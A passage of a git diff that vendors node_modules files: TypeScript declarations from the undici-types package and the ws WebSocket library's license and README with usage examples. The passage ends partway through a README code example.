b/node_modules/undici-types/mock-pool.d.ts @@ -0,0 +1,25 @@ +import Pool from './pool' +import MockAgent from './mock-agent' +import { Interceptable, MockInterceptor } from './mock-interceptor' +import Dispatcher from './dispatcher' + +export default MockPool + +/** MockPool extends the Pool API and allows one to mock requests. */ +declare class MockPool extends Pool implements Interceptable { + constructor(origin: string, options: MockPool.Options); + /** Intercepts any matching requests that use the same origin as this mock pool. */ + intercept(options: MockInterceptor.Options): MockInterceptor; + /** Dispatches a mocked request. */ + dispatch(options: Dispatcher.DispatchOptions, handlers: Dispatcher.DispatchHandlers): boolean; + /** Closes the mock pool and gracefully waits for enqueued requests to complete. */ + close(): Promise; +} + +declare namespace MockPool { + /** MockPool options. */ + export interface Options extends Pool.Options { + /** The agent to associate this MockPool with. */ + agent: MockAgent; + } +} diff --git a/node_modules/undici-types/package.json b/node_modules/undici-types/package.json new file mode 100644 index 000000000000..4010eee695c3 --- /dev/null +++ b/node_modules/undici-types/package.json @@ -0,0 +1,55 @@ +{ + "name": "undici-types", + "version": "6.19.8", + "description": "A stand-alone types package for Undici", + "homepage": "https://undici.nodejs.org", + "bugs": { + "url": "https://github.com/nodejs/undici/issues" + }, + "repository": { + "type": "git", + "url": "git+https://github.com/nodejs/undici.git" + }, + "license": "MIT", + "types": "index.d.ts", + "files": [ + "*.d.ts" + ], + "contributors": [ + { + "name": "Daniele Belardi", + "url": "https://github.com/dnlup", + "author": true + }, + { + "name": "Ethan Arrowood", + "url": "https://github.com/ethan-arrowood", + "author": true + }, + { + "name": "Matteo Collina", + "url": "https://github.com/mcollina", + "author": true + }, + { + "name": "Matthew Aitken", + "url": "https://github.com/KhafraDev", + "author": true + }, + { + "name": "Robert Nagy", + "url": "https://github.com/ronag", + "author": true + }, + { + "name": "Szymon Marczak", + "url": "https://github.com/szmarczak", + "author": true + }, + { + "name": "Tomas Della Vedova", + "url": "https://github.com/delvedor", + "author": true + } + ] +} \ No newline at end of file diff --git a/node_modules/undici-types/patch.d.ts b/node_modules/undici-types/patch.d.ts new file mode 100644 index 000000000000..3871acfebc65 --- /dev/null +++ b/node_modules/undici-types/patch.d.ts @@ -0,0 +1,71 @@ +/// + +// See https://github.com/nodejs/undici/issues/1740 + +export type DOMException = typeof globalThis extends { DOMException: infer T } + ? T + : any + +export type EventTarget = typeof globalThis extends { EventTarget: infer T } + ? T + : { + addEventListener( + type: string, + listener: any, + options?: any, + ): void + dispatchEvent(event: Event): boolean + removeEventListener( + type: string, + listener: any, + options?: any | boolean, + ): void + } + +export type Event = typeof globalThis extends { Event: infer T } + ? T + : { + readonly bubbles: boolean + cancelBubble: () => void + readonly cancelable: boolean + readonly composed: boolean + composedPath(): [EventTarget?] + readonly currentTarget: EventTarget | null + readonly defaultPrevented: boolean + readonly eventPhase: 0 | 2 + readonly isTrusted: boolean + preventDefault(): void + returnValue: boolean + readonly srcElement: EventTarget | null + stopImmediatePropagation(): void + stopPropagation(): void + readonly target: EventTarget | null + readonly timeStamp: number + readonly type: string + } + +export interface EventInit { + bubbles?: boolean + cancelable?: boolean + composed?: boolean +} + +export interface EventListenerOptions { + capture?: boolean +} + +export interface AddEventListenerOptions extends EventListenerOptions { + once?: boolean + passive?: boolean + signal?: AbortSignal +} + +export type EventListenerOrEventListenerObject = EventListener | EventListenerObject + +export interface EventListenerObject { + handleEvent (object: Event): void +} + +export interface EventListener { + (evt: Event): void +} diff --git a/node_modules/undici-types/pool-stats.d.ts b/node_modules/undici-types/pool-stats.d.ts new file mode 100644 index 000000000000..8b6d2bff4ad4 --- /dev/null +++ b/node_modules/undici-types/pool-stats.d.ts @@ -0,0 +1,19 @@ +import Pool from "./pool" + +export default PoolStats + +declare class PoolStats { + constructor(pool: Pool); + /** Number of open socket connections in this pool. */ + connected: number; + /** Number of open socket connections in this pool that do not have an active request. */ + free: number; + /** Number of pending requests across all clients in this pool. */ + pending: number; + /** Number of queued requests across all clients in this pool. */ + queued: number; + /** Number of currently active requests across all clients in this pool. */ + running: number; + /** Number of active, pending, or queued requests across all clients in this pool. */ + size: number; +} diff --git a/node_modules/undici-types/pool.d.ts b/node_modules/undici-types/pool.d.ts new file mode 100644 index 000000000000..bad5ba0308e9 --- /dev/null +++ b/node_modules/undici-types/pool.d.ts @@ -0,0 +1,39 @@ +import Client from './client' +import TPoolStats from './pool-stats' +import { URL } from 'url' +import Dispatcher from "./dispatcher"; + +export default Pool + +type PoolConnectOptions = Omit; + +declare class Pool extends Dispatcher { + constructor(url: string | URL, options?: Pool.Options) + /** `true` after `pool.close()` has been called. */ + closed: boolean; + /** `true` after `pool.destroyed()` has been called or `pool.close()` has been called and the pool shutdown has completed. */ + destroyed: boolean; + /** Aggregate stats for a Pool. */ + readonly stats: TPoolStats; + + // Override dispatcher APIs. + override connect( + options: PoolConnectOptions + ): Promise; + override connect( + options: PoolConnectOptions, + callback: (err: Error | null, data: Dispatcher.ConnectData) => void + ): void; +} + +declare namespace Pool { + export type PoolStats = TPoolStats; + export interface Options extends Client.Options { + /** Default: `(origin, opts) => new Client(origin, opts)`. */ + factory?(origin: URL, opts: object): Dispatcher; + /** The max number of clients to create. `null` if no limit. Default `null`. */ + connections?: number | null; + + interceptors?: { Pool?: readonly Dispatcher.DispatchInterceptor[] } & Client.Options["interceptors"] + } +} diff --git a/node_modules/undici-types/proxy-agent.d.ts b/node_modules/undici-types/proxy-agent.d.ts new file mode 100644 index 000000000000..32e3acbdaad4 --- /dev/null +++ b/node_modules/undici-types/proxy-agent.d.ts @@ -0,0 +1,28 @@ +import Agent from './agent' +import buildConnector from './connector'; +import Dispatcher from './dispatcher' +import { IncomingHttpHeaders } from './header' + +export default ProxyAgent + +declare class ProxyAgent extends Dispatcher { + constructor(options: ProxyAgent.Options | string) + + dispatch(options: Agent.DispatchOptions, handler: Dispatcher.DispatchHandlers): boolean; + close(): Promise; +} + +declare namespace ProxyAgent { + export interface Options extends Agent.Options { + uri: string; + /** + * @deprecated use opts.token + */ + auth?: string; + token?: string; + headers?: IncomingHttpHeaders; + requestTls?: buildConnector.BuildOptions; + proxyTls?: buildConnector.BuildOptions; + clientFactory?(origin: URL, opts: object): Dispatcher; + } +} diff --git a/node_modules/undici-types/readable.d.ts b/node_modules/undici-types/readable.d.ts new file mode 100644 index 000000000000..a5fce8a20d3c --- /dev/null +++ b/node_modules/undici-types/readable.d.ts @@ -0,0 +1,60 @@ +import { Readable } from "stream"; +import { Blob } from 'buffer' + +export default BodyReadable + +declare class BodyReadable extends Readable { + constructor( + resume?: (this: Readable, size: number) => void | null, + abort?: () => void | null, + contentType?: string + ) + + /** Consumes and returns the body as a string + * https://fetch.spec.whatwg.org/#dom-body-text + */ + text(): Promise + + /** Consumes and returns the body as a JavaScript Object + * https://fetch.spec.whatwg.org/#dom-body-json + */ + json(): Promise + + /** Consumes and returns the body as a Blob + * https://fetch.spec.whatwg.org/#dom-body-blob + */ + blob(): Promise + + /** Consumes and returns the body as an ArrayBuffer + * https://fetch.spec.whatwg.org/#dom-body-arraybuffer + */ + arrayBuffer(): Promise + + /** Not implemented + * + * https://fetch.spec.whatwg.org/#dom-body-formdata + */ + formData(): Promise + + /** Returns true if the body is not null and the body has been consumed + * + * Otherwise, returns false + * + * https://fetch.spec.whatwg.org/#dom-body-bodyused + */ + readonly bodyUsed: boolean + + /** + * If body is null, it should return null as the body + * + * If body is not null, should return the body as a ReadableStream + * + * https://fetch.spec.whatwg.org/#dom-body-body + */ + readonly body: never | undefined + + /** Dumps the response body by reading `limit` number of bytes. + * @param opts.limit Number of bytes to read (optional) - Default: 262144 + */ + dump(opts?: { limit: number }): Promise +} diff --git a/node_modules/undici-types/retry-agent.d.ts b/node_modules/undici-types/retry-agent.d.ts new file mode 100644 index 000000000000..963cea99e42c --- /dev/null +++ b/node_modules/undici-types/retry-agent.d.ts @@ -0,0 +1,8 @@ +import Dispatcher from './dispatcher' +import RetryHandler from './retry-handler' + +export default RetryAgent + +declare class RetryAgent extends Dispatcher { + constructor(dispatcher: Dispatcher, options?: RetryHandler.RetryOptions) +} diff --git a/node_modules/undici-types/retry-handler.d.ts b/node_modules/undici-types/retry-handler.d.ts new file mode 100644 index 000000000000..e44b207c221d --- /dev/null +++ b/node_modules/undici-types/retry-handler.d.ts @@ -0,0 +1,116 @@ +import Dispatcher from "./dispatcher"; + +export default RetryHandler; + +declare class RetryHandler implements Dispatcher.DispatchHandlers { + constructor( + options: Dispatcher.DispatchOptions & { + retryOptions?: RetryHandler.RetryOptions; + }, + retryHandlers: RetryHandler.RetryHandlers + ); +} + +declare namespace RetryHandler { + export type RetryState = { counter: number; }; + + export type RetryContext = { + state: RetryState; + opts: Dispatcher.DispatchOptions & { + retryOptions?: RetryHandler.RetryOptions; + }; + } + + export type OnRetryCallback = (result?: Error | null) => void; + + export type RetryCallback = ( + err: Error, + context: { + state: RetryState; + opts: Dispatcher.DispatchOptions & { + retryOptions?: RetryHandler.RetryOptions; + }; + }, + callback: OnRetryCallback + ) => number | null; + + export interface RetryOptions { + /** + * Callback to be invoked on every retry iteration. + * It receives the error, current state of the retry object and the options object + * passed when instantiating the retry handler. + * + * @type {RetryCallback} + * @memberof RetryOptions + */ + retry?: RetryCallback; + /** + * Maximum number of retries to allow. + * + * @type {number} + * @memberof RetryOptions + * @default 5 + */ + maxRetries?: number; + /** + * Max number of milliseconds allow between retries + * + * @type {number} + * @memberof RetryOptions + * @default 30000 + */ + maxTimeout?: number; + /** + * Initial number of milliseconds to wait before retrying for the first time. + * + * @type {number} + * @memberof RetryOptions + * @default 500 + */ + minTimeout?: number; + /** + * Factior to multiply the timeout factor between retries. + * + * @type {number} + * @memberof RetryOptions + * @default 2 + */ + timeoutFactor?: number; + /** + * It enables to automatically infer timeout between retries based on the `Retry-After` header. + * + * @type {boolean} + * @memberof RetryOptions + * @default true + */ + retryAfter?: boolean; + /** + * HTTP methods to retry. + * + * @type {Dispatcher.HttpMethod[]} + * @memberof RetryOptions + * @default ['GET', 'HEAD', 'OPTIONS', 'PUT', 'DELETE', 'TRACE'], + */ + methods?: Dispatcher.HttpMethod[]; + /** + * Error codes to be retried. e.g. `ECONNRESET`, `ENOTFOUND`, `ETIMEDOUT`, `ECONNREFUSED`, etc. + * + * @type {string[]} + * @default ['ECONNRESET','ECONNREFUSED','ENOTFOUND','ENETDOWN','ENETUNREACH','EHOSTDOWN','EHOSTUNREACH','EPIPE'] + */ + errorCodes?: string[]; + /** + * HTTP status codes to be retried. + * + * @type {number[]} + * @memberof RetryOptions + * @default [500, 502, 503, 504, 429], + */ + statusCodes?: number[]; + } + + export interface RetryHandlers { + dispatch: Dispatcher["dispatch"]; + handler: Dispatcher.DispatchHandlers; + } +} diff --git a/node_modules/undici-types/util.d.ts b/node_modules/undici-types/util.d.ts new file mode 100644 index 000000000000..77cf1473a24f --- /dev/null +++ b/node_modules/undici-types/util.d.ts @@ -0,0 +1,18 @@ +export namespace util { + /** + * Retrieves a header name and returns its lowercase value. + * @param value Header name + */ + export function headerNameToString(value: string | Buffer): string; + + /** + * Receives a header object and returns the parsed value. + * @param headers Header object + * @param obj Object to specify a proxy object. Used to assign parsed values. + * @returns If `obj` is specified, it is equivalent to `obj`. + */ + export function parseHeaders( + headers: (Buffer | string | (Buffer | string)[])[], + obj?: Record + ): Record; +} diff --git a/node_modules/undici-types/webidl.d.ts b/node_modules/undici-types/webidl.d.ts new file mode 100644 index 000000000000..8a23a85bf010 --- /dev/null +++ b/node_modules/undici-types/webidl.d.ts @@ -0,0 +1,222 @@ +// These types are not exported, and are only used internally + +/** + * Take in an unknown value and return one that is of type T + */ +type Converter = (object: unknown) => T + +type SequenceConverter = (object: unknown, iterable?: IterableIterator) => T[] + +type RecordConverter = (object: unknown) => Record + +interface ConvertToIntOpts { + clamp?: boolean + enforceRange?: boolean +} + +interface WebidlErrors { + exception (opts: { header: string, message: string }): TypeError + /** + * @description Throw an error when conversion from one type to another has failed + */ + conversionFailed (opts: { + prefix: string + argument: string + types: string[] + }): TypeError + /** + * @description Throw an error when an invalid argument is provided + */ + invalidArgument (opts: { + prefix: string + value: string + type: string + }): TypeError +} + +interface WebidlUtil { + /** + * @see https://tc39.es/ecma262/#sec-ecmascript-data-types-and-values + */ + Type (object: unknown): + | 'Undefined' + | 'Boolean' + | 'String' + | 'Symbol' + | 'Number' + | 'BigInt' + | 'Null' + | 'Object' + + /** + * @see https://webidl.spec.whatwg.org/#abstract-opdef-converttoint + */ + ConvertToInt ( + V: unknown, + bitLength: number, + signedness: 'signed' | 'unsigned', + opts?: ConvertToIntOpts + ): number + + /** + * @see https://webidl.spec.whatwg.org/#abstract-opdef-converttoint + */ + IntegerPart (N: number): number + + /** + * Stringifies {@param V} + */ + Stringify (V: any): string +} + +interface WebidlConverters { + /** + * @see https://webidl.spec.whatwg.org/#es-DOMString + */ + DOMString (V: unknown, prefix: string, argument: string, opts?: { + legacyNullToEmptyString: boolean + }): string + + /** + * @see https://webidl.spec.whatwg.org/#es-ByteString + */ + ByteString (V: unknown, prefix: string, argument: string): string + + /** + * @see https://webidl.spec.whatwg.org/#es-USVString + */ + USVString (V: unknown): string + + /** + * @see https://webidl.spec.whatwg.org/#es-boolean + */ + boolean (V: unknown): boolean + + /** + * @see https://webidl.spec.whatwg.org/#es-any + */ + any (V: Value): Value + + /** + * @see https://webidl.spec.whatwg.org/#es-long-long + */ + ['long long'] (V: unknown): number + + /** + * @see https://webidl.spec.whatwg.org/#es-unsigned-long-long + */ + ['unsigned long long'] (V: unknown): number + + /** + * @see https://webidl.spec.whatwg.org/#es-unsigned-long + */ + ['unsigned long'] (V: unknown): number + + /** + * @see https://webidl.spec.whatwg.org/#es-unsigned-short + */ + ['unsigned short'] (V: unknown, opts?: ConvertToIntOpts): number + + /** + * @see https://webidl.spec.whatwg.org/#idl-ArrayBuffer + */ + ArrayBuffer (V: unknown): ArrayBufferLike + ArrayBuffer (V: unknown, opts: { allowShared: false }): ArrayBuffer + + /** + * @see https://webidl.spec.whatwg.org/#es-buffer-source-types + */ + TypedArray ( + V: unknown, + TypedArray: NodeJS.TypedArray | ArrayBufferLike + ): NodeJS.TypedArray | ArrayBufferLike + TypedArray ( + V: unknown, + TypedArray: NodeJS.TypedArray | ArrayBufferLike, + opts?: { allowShared: false } + ): NodeJS.TypedArray | ArrayBuffer + + /** + * @see https://webidl.spec.whatwg.org/#es-buffer-source-types + */ + DataView (V: unknown, opts?: { allowShared: boolean }): DataView + + /** + * @see https://webidl.spec.whatwg.org/#BufferSource + */ + BufferSource ( + V: unknown, + opts?: { allowShared: boolean } + ): NodeJS.TypedArray | ArrayBufferLike | DataView + + ['sequence']: SequenceConverter + + ['sequence>']: SequenceConverter + + ['record']: RecordConverter + + [Key: string]: (...args: any[]) => unknown +} + +export interface Webidl { + errors: WebidlErrors + util: WebidlUtil + converters: WebidlConverters + + /** + * @description Performs a brand-check on {@param V} to ensure it is a + * {@param cls} object. + */ + brandCheck (V: unknown, cls: Interface, opts?: { strict?: boolean }): asserts V is Interface + + /** + * @see https://webidl.spec.whatwg.org/#es-sequence + * @description Convert a value, V, to a WebIDL sequence type. + */ + sequenceConverter (C: Converter): SequenceConverter + + illegalConstructor (): never + + /** + * @see https://webidl.spec.whatwg.org/#es-to-record + * @description Convert a value, V, to a WebIDL record type. + */ + recordConverter ( + keyConverter: Converter, + valueConverter: Converter + ): RecordConverter + + /** + * Similar to {@link Webidl.brandCheck} but allows skipping the check if third party + * interfaces are allowed. + */ + interfaceConverter (cls: Interface): ( + V: unknown, + opts?: { strict: boolean } + ) => asserts V is typeof cls + + // TODO(@KhafraDev): a type could likely be implemented that can infer the return type + // from the converters given? + /** + * Converts a value, V, to a WebIDL dictionary types. Allows limiting which keys are + * allowed, values allowed, optional and required keys. Auto converts the value to + * a type given a converter. + */ + dictionaryConverter (converters: { + key: string, + defaultValue?: () => unknown, + required?: boolean, + converter: (...args: unknown[]) => unknown, + allowedValues?: unknown[] + }[]): (V: unknown) => Record + + /** + * @see https://webidl.spec.whatwg.org/#idl-nullable-type + * @description allows a type, V, to be null + */ + nullableConverter ( + converter: Converter + ): (V: unknown) => ReturnType | null + + argumentLengthCheck (args: { length: number }, min: number, context: string): void +} diff --git a/node_modules/undici-types/websocket.d.ts b/node_modules/undici-types/websocket.d.ts new file mode 100644 index 000000000000..d1be45235d42 --- /dev/null +++ b/node_modules/undici-types/websocket.d.ts @@ -0,0 +1,152 @@ +/// + +import type { Blob } from 'buffer' +import type { MessagePort } from 'worker_threads' +import { + EventTarget, + Event, + EventInit, + EventListenerOptions, + AddEventListenerOptions, + EventListenerOrEventListenerObject +} from './patch' +import Dispatcher from './dispatcher' +import { HeadersInit } from './fetch' + +export type BinaryType = 'blob' | 'arraybuffer' + +interface WebSocketEventMap { + close: CloseEvent + error: ErrorEvent + message: MessageEvent + open: Event +} + +interface WebSocket extends EventTarget { + binaryType: BinaryType + + readonly bufferedAmount: number + readonly extensions: string + + onclose: ((this: WebSocket, ev: WebSocketEventMap['close']) => any) | null + onerror: ((this: WebSocket, ev: WebSocketEventMap['error']) => any) | null + onmessage: ((this: WebSocket, ev: WebSocketEventMap['message']) => any) | null + onopen: ((this: WebSocket, ev: WebSocketEventMap['open']) => any) | null + + readonly protocol: string + readonly readyState: number + readonly url: string + + close(code?: number, reason?: string): void + send(data: string | ArrayBufferLike | Blob | ArrayBufferView): void + + readonly CLOSED: number + readonly CLOSING: number + readonly CONNECTING: number + readonly OPEN: number + + addEventListener( + type: K, + listener: (this: WebSocket, ev: WebSocketEventMap[K]) => any, + options?: boolean | AddEventListenerOptions + ): void + addEventListener( + type: string, + listener: EventListenerOrEventListenerObject, + options?: boolean | AddEventListenerOptions + ): void + removeEventListener( + type: K, + listener: (this: WebSocket, ev: WebSocketEventMap[K]) => any, + options?: boolean | EventListenerOptions + ): void + removeEventListener( + type: string, + listener: EventListenerOrEventListenerObject, + options?: boolean | EventListenerOptions + ): void +} + +export declare const WebSocket: { + prototype: WebSocket + new (url: string | URL, protocols?: string | string[] | WebSocketInit): WebSocket + readonly CLOSED: number + readonly CLOSING: number + readonly CONNECTING: number + readonly OPEN: number +} + +interface CloseEventInit extends EventInit { + code?: number + reason?: string + wasClean?: boolean +} + +interface CloseEvent extends Event { + readonly code: number + readonly reason: string + readonly wasClean: boolean +} + +export declare const CloseEvent: { + prototype: CloseEvent + new (type: string, eventInitDict?: CloseEventInit): CloseEvent +} + +interface MessageEventInit extends EventInit { + data?: T + lastEventId?: string + origin?: string + ports?: (typeof MessagePort)[] + source?: typeof MessagePort | null +} + +interface MessageEvent extends Event { + readonly data: T + readonly lastEventId: string + readonly origin: string + readonly ports: ReadonlyArray + readonly source: typeof MessagePort | null + initMessageEvent( + type: string, + bubbles?: boolean, + cancelable?: boolean, + data?: any, + origin?: string, + lastEventId?: string, + source?: typeof MessagePort | null, + ports?: (typeof MessagePort)[] + ): void; +} + +export declare const MessageEvent: { + prototype: MessageEvent + new(type: string, eventInitDict?: MessageEventInit): MessageEvent +} + +interface ErrorEventInit extends EventInit { + message?: string + filename?: string + lineno?: number + colno?: number + error?: any +} + +interface ErrorEvent extends Event { + readonly message: string + readonly filename: string + readonly lineno: number + readonly colno: number + readonly error: any +} + +export declare const ErrorEvent: { + prototype: ErrorEvent + new (type: string, eventInitDict?: ErrorEventInit): ErrorEvent +} + +interface WebSocketInit { + protocols?: string | string[], + dispatcher?: Dispatcher, + headers?: HeadersInit +} diff --git a/node_modules/ws/LICENSE b/node_modules/ws/LICENSE new file mode 100644 index 000000000000..1da5b96a11ac --- /dev/null +++ b/node_modules/ws/LICENSE @@ -0,0 +1,20 @@ +Copyright (c) 2011 Einar Otto Stangvik +Copyright (c) 2013 Arnout Kazemier and contributors +Copyright (c) 2016 Luigi Pinca and contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy of +this software and associated documentation files (the "Software"), to deal in +the Software without restriction, including without limitation the rights to +use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of +the Software, and to permit persons to whom the Software is furnished to do so, +subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS +FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR +COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER +IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN +CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. diff --git a/node_modules/ws/README.md b/node_modules/ws/README.md new file mode 100644 index 000000000000..21f10df108e1 --- /dev/null +++ b/node_modules/ws/README.md @@ -0,0 +1,548 @@ +# ws: a Node.js WebSocket library + +[![Version npm](https://img.shields.io/npm/v/ws.svg?logo=npm)](https://www.npmjs.com/package/ws) +[![CI](https://img.shields.io/github/actions/workflow/status/websockets/ws/ci.yml?branch=master&label=CI&logo=github)](https://github.com/websockets/ws/actions?query=workflow%3ACI+branch%3Amaster) +[![Coverage Status](https://img.shields.io/coveralls/websockets/ws/master.svg?logo=coveralls)](https://coveralls.io/github/websockets/ws) + +ws is a simple to use, blazing fast, and thoroughly tested WebSocket client and +server implementation. + +Passes the quite extensive Autobahn test suite: [server][server-report], +[client][client-report]. + +**Note**: This module does not work in the browser. The client in the docs is a +reference to a backend with the role of a client in the WebSocket communication. +Browser clients must use the native +[`WebSocket`](https://developer.mozilla.org/en-US/docs/Web/API/WebSocket) +object. To make the same code work seamlessly on Node.js and the browser, you +can use one of the many wrappers available on npm, like +[isomorphic-ws](https://github.com/heineiuo/isomorphic-ws). + +## Table of Contents + +- [Protocol support](#protocol-support) +- [Installing](#installing) + - [Opt-in for performance](#opt-in-for-performance) + - [Legacy opt-in for performance](#legacy-opt-in-for-performance) +- [API docs](#api-docs) +- [WebSocket compression](#websocket-compression) +- [Usage examples](#usage-examples) + - [Sending and receiving text data](#sending-and-receiving-text-data) + - [Sending binary data](#sending-binary-data) + - [Simple server](#simple-server) + - [External HTTP/S server](#external-https-server) + - [Multiple servers sharing a single HTTP/S server](#multiple-servers-sharing-a-single-https-server) + - [Client authentication](#client-authentication) + - [Server broadcast](#server-broadcast) + - [Round-trip time](#round-trip-time) + - [Use the Node.js streams API](#use-the-nodejs-streams-api) + - [Other examples](#other-examples) +- [FAQ](#faq) + - [How to get the IP address of the client?](#how-to-get-the-ip-address-of-the-client) + - [How to detect and close broken connections?](#how-to-detect-and-close-broken-connections) + - [How to connect via a proxy?](#how-to-connect-via-a-proxy) +- [Changelog](#changelog) +- [License](#license) + +## Protocol support + +- **HyBi drafts 07-12** (Use the option `protocolVersion: 8`) +- **HyBi drafts 13-17** (Current default, alternatively option + `protocolVersion: 13`) + +## Installing + +``` +npm install ws +``` + +### Opt-in for performance + +[bufferutil][] is an optional module that can be installed alongside the ws +module: + +``` +npm install --save-optional bufferutil +``` + +This is a binary addon that improves the performance of certain operations such +as masking and unmasking the data payload of the WebSocket frames. Prebuilt +binaries are available for the most popular platforms, so you don't necessarily +need to have a C++ compiler installed on your machine. + +To force ws to not use bufferutil, use the +[`WS_NO_BUFFER_UTIL`](./doc/ws.md#ws_no_buffer_util) environment variable. This +can be useful to enhance security in systems where a user can put a package in +the package search path of an application of another user, due to how the +Node.js resolver algorithm works. + +#### Legacy opt-in for performance + +If you are running on an old version of Node.js (prior to v18.14.0), ws also +supports the [utf-8-validate][] module: + +``` +npm install --save-optional utf-8-validate +``` + +This contains a binary polyfill for [`buffer.isUtf8()`][]. + +To force ws not to use utf-8-validate, use the +[`WS_NO_UTF_8_VALIDATE`](./doc/ws.md#ws_no_utf_8_validate) environment variable. + +## API docs + +See [`/doc/ws.md`](./doc/ws.md) for Node.js-like documentation of ws classes and +utility functions. + +## WebSocket compression + +ws supports the [permessage-deflate extension][permessage-deflate] which enables +the client and server to negotiate a compression algorithm and its parameters, +and then selectively apply it to the data payloads of each WebSocket message. + +The extension is disabled by default on the server and enabled by default on the +client. It adds a significant overhead in terms of performance and memory +consumption so we suggest to enable it only if it is really needed. + +Note that Node.js has a variety of issues with high-performance compression, +where increased concurrency, especially on Linux, can lead to [catastrophic +memory fragmentation][node-zlib-bug] and slow performance. If you intend to use +permessage-deflate in production, it is worthwhile to set up a test +representative of your workload and ensure Node.js/zlib will handle it with +acceptable performance and memory usage. + +Tuning of permessage-deflate can be done via the options defined below. You can +also use `zlibDeflateOptions` and `zlibInflateOptions`, which is passed directly +into the creation of [raw deflate/inflate streams][node-zlib-deflaterawdocs]. + +See [the docs][ws-server-options] for more options. + +```js +import WebSocket, { WebSocketServer } from 'ws'; + +const wss = new WebSocketServer({ + port: 8080, + perMessageDeflate: { + zlibDeflateOptions: { + // See zlib defaults. + chunkSize: 1024, + memLevel: 7, + level: 3 + }, + zlibInflateOptions: { + chunkSize: 10 * 1024 + }, + // Other options settable: + clientNoContextTakeover: true, // Defaults to negotiated value. + serverNoContextTakeover: true, // Defaults to negotiated value. + serverMaxWindowBits: 10, // Defaults to negotiated value. + // Below options specified as default values. + concurrencyLimit: 10, // Limits zlib concurrency for perf. + threshold: 1024 // Size (in bytes) below which messages + // should not be compressed if context takeover is disabled. + } +}); +``` + +The client will only use the extension if it is supported and enabled on the +server. To always disable the extension on the client, set the +`perMessageDeflate` option to `false`. + +```js +import WebSocket from 'ws'; + +const ws = new WebSocket('ws://www.host.com/path', { + perMessageDeflate: false +}); +``` + +## Usage examples + +### Sending and receiving text data + +```js +import WebSocket from 'ws'; + +const ws = new WebSocket('ws://www.host.com/path'); + +ws.on('error', console.error); + +ws.on('open', function open() { + ws.send('something'); +}); + +ws.on('message', function message(data) { + console.log('received: %s', data); +}); +``` + +### Sending binary data + +```js +import WebSocket from 'ws'; + +const ws = new WebSocket('ws://www.host.com/path'); + +ws.on('error', console.error); + +ws.on('open', function open() { + const array = new Float32Array(5); + + for (var i = 0; i < array.length; ++i) { + array[i] = i / 2; + } + + ws.send(array); +}); +``` + +### Simple server + +```js +import { WebSocketServer } from 'ws'; + +const wss = new WebSocketServer({ port: 8080 }); + +wss.on('connection', function connection(ws) { + ws.on('error', console.error); + + ws.on('message', function message(data) { + console.log('received: %s', data); + }); + + ws.send('something'); +}); +``` + +### External HTTP/S server + +```js +import { createServer } from 'https'; +import { readFileSync } from 'fs'; +import { WebSocketServer } from 'ws'; + +const server = createServer({ + cert: readFileSync('/path/to/cert.pem'), + key: readFileSync('/path/to/key.pem') +}); +const wss = new WebSocketServer({ server }); + +wss.on('connection', function connection(ws) { + ws.on('error', console.error); + + ws.on('message', function message(data) { + console.log('received: %s', data); + }); + + ws.send('something'); +}); + +server.listen(8080); +``` + +### Multiple servers sharing a single HTTP/S server + +```js +import { createServer } from 'http'; +import { WebSocketServer } from 'ws'; + +const server = createServer(); +const wss1 = new WebSocketServer({ noServer: true }); +const wss2 = new WebSocketServer({ noServer: true }); + +wss1.on('connection', function connection(ws) { + ws.on('error', console.error); + + // ... +}); + +wss2.on('connection', function connection(ws) { + ws.on('error', console.error); + + // ... +}); + +server.on('upgrade', function upgrade(request, socket, head) { + const { pathname } = new URL(request.url, 'wss://base.url'); + + if (pathname === '/foo') { + wss1.handleUpgrade(request, socket, head, function done(ws) { + wss1.emit('connection', ws, request); + }); + } else if (pathname === '/bar') { + wss2.handleUpgrade(request, socket, head, function done(ws) { + wss2.emit('connection', ws, request); + }); + } else { + socket.destroy(); + } +}); + +server.listen(8080); +``` + +### Client authentication + +```js +import { createServer } from 'http'; +import { WebSocketServer } from 'ws'; + +function onSocketError(err) { + console.error(err); +} + +const server = createServer(); +const wss = new WebSocketServer({ noServer: true }); + +wss.on('connection', function connection(ws, request, client) { + ws.on('error', console.error); + + ws.on('message', function message(data) { + console.log(`Received message ${data} from user ${client}`); + }); +}); + +server.on('upgrade', function upgrade(request, socket, head) { + socket.on('error', onSocketError); + + // This function is not defined on purpose. Implement it with your own logic. + authenticate(request, function next(err, client) { + if (err || !client) { + socket.write('HTTP/1.1 401 Unauthorized\r\n\r\n'); + socket.destroy(); + return; + } + + socket.removeListener('error', onSocketError); + + wss.handleUpgrade(request, socket, head, function done(ws) { + wss.emit('connection', ws, request, client); + }); + }); +}); + +server.listen(8080); +``` + +Also see the provided [example][session-parse-example] using `express-session`. + +### Server broadcast + +A client WebSocket broadcasting to all connected WebSocket clients, including +itself. + +```js +import WebSocket, { WebSocketServer } from 'ws'; + +const wss = new WebSocketServer({ port: 8080 }); + +wss.on('connection', function connection(ws) { + ws.on('error', console.error); + + ws.on('message', function message(data, isBinary) { + wss.clients.forEach(function each(client) { + if (client.readyState === WebSocket.OPEN) { + client.send(data, { binary: isBinary }); + } + }); + }); +}); +``` + +A client WebSocket broadcasting to every other connected WebSocket clients, +excluding itself. + +```js +import WebSocket, { WebSocketServer } from 'ws'; + +const wss = new WebSocketServer({ port: 8080 }); + +wss.on('connection', function connection(ws) { + ws.on('error', console.error); + + ws.on('message', function message(data, isBinary) { + wss.clients.forEach(function each(client) { + if (client !== ws && client.readyState === WebSocket.OPEN) { + client.send(data, { binary: isBinary }); + } + }); + }); +}); +``` + +### Round-trip time + +```js +import WebSocket from 'ws'; + +const ws = new WebSocket('wss://websocket-echo.com/'); + +ws.on('error', console.error); + +ws.on('open', function open() { + console.log('connected'); + ws.send(Date.now()); +}); + +ws.on('close', function close() { + console.log('disconnected'); +}); + +ws.on('message', function message(data) { + console.log(`Round-trip time: ${Date.now() - data} ms`); + + setTimeout(function timeout() { + 